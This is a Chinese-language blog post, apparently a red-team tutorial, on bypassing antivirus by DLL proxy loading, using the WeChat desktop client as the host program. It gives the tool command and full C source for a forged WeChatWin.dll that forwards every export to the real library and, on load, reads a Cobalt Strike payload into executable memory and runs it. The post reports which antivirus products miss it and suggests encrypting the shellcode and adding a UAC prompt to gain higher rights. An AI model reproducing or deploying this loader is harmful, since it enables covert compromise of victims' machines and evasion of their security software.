DLL Proxy Loading Bypass AV

前言

感谢国外大佬开源的免杀思路,本文就是基于该文章的一次实践。

https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/

原理

具体原理请直接查看上面的文章,我就不在继续照本宣科。

实验

本次实战对象是微信电脑客户端-——WeChat.exe

把该exe直接拷贝到一个单独的文件夹里,点击运行会提示缺少WeChatWin.dll,这个就是我们要进行代理的对象。

使用cs生成bin格式的payload,用vs2019编译作者开源的工具

工具地址:https://github.com/Flangvik/SharpDllProxy

编译成功后,使用SharpDllProxy.dll生成一个假冒的WeChatWin.dll,执行如下命令:

//payload.bin为cs生成的bin文件
SharpDllProxy.exe --dll WeChatWin.dll --payload payload.bin

执行成功后在

在当前路径会生成/output_WeChatWin文件夹,里面有WeChatWin_pragma.ctmp2EF7.dll两个文件我们要用到,其中tmp2EF7.dll 即为原系统WeChatWin.dll,使用vs2019打开WeChatWin_pragma.c

#include "pch.h"
#include <stdio.h>
#include <stdlib.h> #define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996) #pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@$$QAV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@$$QAV0@@Z,@1")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@ABV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@ABV0@@Z,@2")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@XZ=tmp2EF7.??0IChannelLogWriter@@QAE@XZ,@3")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z,@4")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@ABV0@@Z,@5")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@$$QAV0@@Z,@6")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@ABV0@@Z,@7")
#pragma comment(linker, "/export:??_7IChannelLogWriter@@6B@=tmp2EF7.??_7IChannelLogWriter@@6B@,@8")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHKI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHKI@Z,@9")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHPAXI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHPAXI@Z,@10")
#pragma comment(linker, "/export:?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z=tmp2EF7.?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z,@11")
#pragma comment(linker, "/export:?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z=tmp2EF7.?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z,@12")
#pragma comment(linker, "/export:?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z=tmp2EF7.?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z,@13")
#pragma comment(linker, "/export:?GetBugReportFlag@TXBugReport@@YAKXZ=tmp2EF7.?GetBugReportFlag@TXBugReport@@YAKXZ,@14")
#pragma comment(linker, "/export:?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ=tmp2EF7.?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ,@15")
#pragma comment(linker, "/export:?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ=tmp2EF7.?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ,@16")
#pragma comment(linker, "/export:?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z=tmp2EF7.?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z,@17")
#pragma comment(linker, "/export:?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z=tmp2EF7.?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z,@18")
#pragma comment(linker, "/export:?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z=tmp2EF7.?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z,@19")
#pragma comment(linker, "/export:?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z=tmp2EF7.?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z,@20")
#pragma comment(linker, "/export:?SetBugReportFlag@TXBugReport@@YAHK@Z=tmp2EF7.?SetBugReportFlag@TXBugReport@@YAHK@Z,@21")
#pragma comment(linker, "/export:?SetBugReportPath@TXBugReport@@YAHPB_W@Z=tmp2EF7.?SetBugReportPath@TXBugReport@@YAHPB_W@Z,@22")
#pragma comment(linker, "/export:?SetBugReportUin@TXBugReport@@YAXKH@Z=tmp2EF7.?SetBugReportUin@TXBugReport@@YAXKH@Z,@23")
#pragma comment(linker, "/export:?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z=tmp2EF7.?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z,@24")
#pragma comment(linker, "/export:?SetExtInfo@TXBugReport@@YAHKKPB_W@Z=tmp2EF7.?SetExtInfo@TXBugReport@@YAHKKPB_W@Z,@25")
#pragma comment(linker, "/export:?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z=tmp2EF7.?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z,@26")
#pragma comment(linker, "/export:?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z=tmp2EF7.?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z,@27")
#pragma comment(linker, "/export:?UninitBugReport@TXBugReport@@YAXXZ=tmp2EF7.?UninitBugReport@TXBugReport@@YAXXZ,@28")
#pragma comment(linker, "/export:?ValidateBugReport@TXBugReport@@YAXXZ=tmp2EF7.?ValidateBugReport@TXBugReport@@YAXXZ,@29")
#pragma comment(linker, "/export:?pfPostBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPostBugReport@TXBugReport@@3P6AXXZA,@30")
#pragma comment(linker, "/export:?pfPreBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPreBugReport@TXBugReport@@3P6AXXZA,@31")
#pragma comment(linker, "/export:SignWith3Des=tmp2EF7.SignWith3Des,@32")
#pragma comment(linker, "/export:StartWachat=tmp2EF7.StartWachat,@33")
#pragma comment(linker, "/export:_TlsGetData@12=tmp2EF7._TlsGetData@12,@34")
#pragma comment(linker, "/export:_TlsStoreData@12=tmp2EF7._TlsStoreData@12,@35")
#pragma comment(linker, "/export:__ASSERT=tmp2EF7.__ASSERT,@36") DWORD WINAPI DoMagic(LPVOID lpParameter)
{
//https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
FILE* fp;
size_t size;
unsigned char* buffer; fp = fopen("payload.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size); //https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
fread(buffer, size, 1, fp); void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buffer, size); ((void(*) ())exec)(); return 0;
} BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle; switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// https://gist.github.com/securitytube/c956348435cc90b8e1f7
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle); case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

43行前是调用原dll,46之后是调用我们之前生成的cs bin文件,并使用VirtualAlloc()函数申请内存地址然后使用CreateThread()函数执行shellcode,我们生成一个动态dll项目,然后复制代码到源文件中,编译。

然后把红色箭头的放在一个文件夹中,运行微信客户端即可上线cs,免杀效果如下

静态360,火绒,安全管家都不查杀,动态执行只有360查杀,另外两个无反应。

这里还可以把shellcode直接写入上面的C文件中,然后对其进行加密解密处理,或者换一种执行方式,还可以给他加个uac认证,如果对方点是可以直接获得高权限,当然这些就不一一试验了。

DLL Proxy Loading Bypass AV的更多相关文章

  1. Bypass AV meterpreter免杀技巧

    0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...

  2. AVIator -- Bypass AV tool

    前提概要 项目地址:https://github.com/Ch0pin/AVIator AV:全名为AntiVirus,意指为防病毒软件 AVIator是一个后门生成器实用程序,它使用加密和注入技术来 ...

  3. Delphi DLL制作和加载 Static, Dynamic, Delayed 以及 Shared-Memory Manager

    一 Dll的制作一般分为以下几步:1 在一个DLL工程里写一个过程或函数2 写一个Exports关键字,在其下写过程的名称.不用写参数和调用后缀.二 参数传递1 参数类型最好与window C++的参 ...

  4. Keepalivaed +Nginx proxy 高可用架构方案与实施过程细节

    1.开源产品介绍 1)CMS介绍 官方网站http://www.dedecms.com/,是一个网站应用系统构建平台,也是一个强大的网站内容管理系统,既可以用来构建复杂的体系的企业信息门户或者电子商务 ...

  5. ASP.NET与非托管DLL的那些事儿【转+增】

    https://www.cnblogs.com/yeahgis/archive/2011/11/12/2246341.html ASP.NET与非托管DLL的那些事儿 环境VS2010 语言:ISO ...

  6. Kali linux 2016.2(Rolling)中的Exploits模块详解

    简单来将,这个Exploits模块,就是针对不同的已知漏洞的利用程序. root@kali:~# msfconsole Unable to handle kernel NULL pointer der ...

  7. backtrack5渗透 笔记

    目录        1.信息收集        2.扫描工具        3.漏洞发现        4.社会工程学工具        5.运用层攻击msf        6.局域网攻击       ...

  8. CIA泄露资料分析(黑客工具&技术)—Windows篇

    背景 近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有8761个文件,包含7818个网页 ...

  9. TcpListener的异步调用内存泄漏---最近测试结果,没有泄露

    我后来加大了client的连接/断开的次数(500,1000),Server端的连接被释放了. 这说明: 1. 此代码是 可以正常工作的. 2.TcpListener/TcpListener的asyn ...

随机推荐

  1. Linux Cgroup v1(中文翻译)(4):Block IO Controller

    Block IO Controller 1 概览 cgroup子系统blkio实现了block io控制器.无论是对存储结构上的叶子节点和还是中间节点,它对各种IO控制策略(proportional ...

  2. 轻量级多级菜单控制框架程序(C语言)

    1.前言 作为嵌入式软件开发,可能经常会使用命令行或者显示屏等设备实现人机交互的功能,功能中通常情况都包含 UI 菜单设计:很多开发人员都会有自己的菜单框架模块,防止重复造轮子,网上有很多这种菜单框架 ...

  3. Vue回炉重造之三次封装axios

    源码目录 在src目录下建立一个request文件夹.里面建立两个文件: http.js api.js 源码内容 http.js import axios from 'axios' // 引入axio ...

  4. Halcon · 曲线宽度检测算法总结

    视觉检测中,直线的宽度很好检测,即两条平行线的垂直距离,而曲线的宽度检测则需要另辟蹊径. 检测图像中曲线边缘的宽度,用以判断边缘是否崩缺,总结如下五种方法: 1.图像匹配判断 概述:建立标准图像参考, ...

  5. HiEngine:可媲美本地的云原生内存数据库引擎

    摘要:HiEngine与华为GaussDB (for MySQL)集成,将内存数据库引擎的优势带到云端,并与基于磁盘的引擎共存.HiEngine的性能比传统的以存储为中心的解决方案高出7.5倍. 本文 ...

  6. arcgis中nodata设为0及其小技巧

    一.arcgis中nodata设为0 两个栅格进行叠加,有时会有一部分没有数据,即用identify点击该区域,Value为NoDat a,而不是像其他非空区域一样有值. 此时注意nodata区域要赋 ...

  7. 拥抱云原生 2.0 时代,Tapdata 入选阿里云首期云原生加速器!

      3月9日,阿里云首期云原生加速器官宣,Tapdata 突出重围,成功入选31 强,将与多家行业知名企业,携手阿里云共建云原生行业新生态,加速拥抱云原生新时代的无限潜能.   2021年,阿里云正式 ...

  8. Tomcat深入浅出——Session与Cookie(四)

    一.Cookie 1.1 Cookie概念 Cookie:有时也用其复数形式 Cookies.类型为"小型文本文件",是某些网站为了辨别用户身份,进行Session跟踪而储存在用户 ...

  9. .NET(C#)发送邮件的实现方法

    .NET(C#)发送邮件的实现方法 微软已经为我们准备好了现成的工具类供我们调用: MailMessage //邮件信息类 SmtpClient //邮件发送类 首先需要在项目的类文件中引用以下命名空 ...

  10. 是时候优雅的和NullPointException说再见了

    是时候优雅的和NullPointException说再见了 ️️️️️️️️️️️️️️️️ 最近在参加原创投稿比赛,本篇文章如果对你有帮助的话,欢迎帮忙点击助力下吧 NullPointExcepti ...